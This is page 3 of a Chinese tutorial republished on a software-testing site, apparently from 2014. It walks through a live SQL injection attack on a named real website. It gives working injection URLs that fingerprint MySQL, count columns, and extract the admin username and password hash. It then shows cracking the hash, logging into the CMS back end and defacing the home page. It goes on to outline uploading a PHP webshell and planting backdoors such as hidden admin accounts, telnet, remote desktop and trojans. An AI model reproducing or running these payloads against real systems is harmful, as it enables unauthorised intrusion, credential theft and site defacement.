Web安全之SQL注入攻击

发表于:2014-1-29 11:03

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:太狠太残忍    来源:51Testing软件测试网采编

  二、实战演练
  OK,前面铺垫了那么多,算是给大家科普了。现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 http://www.guoshang.tk  这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。
  (一)积极备战
  1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
  2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
  http://www.guoshang.tk;
  谷歌搜索小技巧:筛选关键字:"inurl:/news/read.php?id="
  (二)狼烟四起
  1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
  http://www.guoshang.tk/news/read.php?id=50
  可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
  2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
  http://www.guoshang.tk/news/read.php?id=50
  时数据库中执行的SQL语句大概是这样的:
  Select * from [表名] where id=50
  添加and 1=1后的SQL语句:
  Select * from [表名] where id=50 and 1=1
  由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
  添加and 1=2后的SQL语句:
  Select * from [表名] where id=50 and 1=2
  由于条件1=2永远为假,所以返回的页面和正常页面不一致
  3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
  http://www.guoshang.tk/news/read.php?id=50
  现在要判断数据库类型以及版本,构造语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
  发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
  以下版本或者其他类型数据库。
  4。爆字段。接着我们再构造如下语句来猜表中字段:
  a. http://www.guoshang.tk/news/read.php?id=50 order by 10
  返回错误页面,说明字段小于10
  b. http://www.guoshang.tk/news/read.php?id=50 order by 5
  返回正常页面,说明字段介于5和10之间
  c. http://www.guoshang.tk/news/read.php?id=50 order by 7
  返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
  d. http://www.guoshang.tk/news/read.php?id=50 order by 6
  返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
  5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
  我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
  6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,database(),4,5,6
  浏览器给我们返回了 xinwen  。说明这个网站 的数据库库名是 xinwen  .
  现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,user(),4,5,6
  返回 root@localhost ,是个管理员权限。
  现在我们再用同样的手法查询用户名,密码,构造语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
  1,2,username,4,5,6 from admin
  返回 admin
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                             1,2,password,4,5,6 from admin
  返回 B2E5B76793EDA747382E81391AA3A400
  7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(http://www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
  8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
  ①先试下几个比较常用的目录;
  ②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序,           分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
  ③手工不通,借力工具。明小子,啊D,御剑,都可以。
  9。这里我们发现此网站依然采用程序默认管理路径:
  http://www.guoshang.tk/dede
  输入用户名 admin ,密码 chinaadmin 成功登入。
  接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
  卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛
  现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!
  至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。
  三、扩展部分
  鉴于此讲内容危害性较大,不予演示。只简述其流程。
  (一)webshell提权
  二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .
  ①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);
  ②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
  选项,上传我们实现准备的php网马文件(tarena.php);
  ③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);
  ④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。
  (二)暗修栈道
  浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:
  ①开启telnet服务
  建立匿名账户,添加至超级管理员组;
  ②开启远程终端服务;
  ③自制木马触发事件...
  因系统平台而异,这里不再赘言。
  后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才
  会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。
  ②文中所述演示环境建立在同时满足两个条件下:
  1.php配置文件中魔术引号已关闭;
  2.建站程序中没有对用户输入字符进行过滤。
33/3<123
《2023软件测试行业现状调查报告》独家发布~

精彩评论

  • zhouyanhuiabc
    2014-2-24 10:16:28

    有个地方不懂,请指教:
     http://www.guoshang.tk/news/read.php?id&#61;50 and 1&#61;2 union select 1,2,3,4,5,6
    --这个语句上面说返回3,5,6  UNION 后面的语句都没有表名,应该执行失败才对啊,为什么会有返回结果呢

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号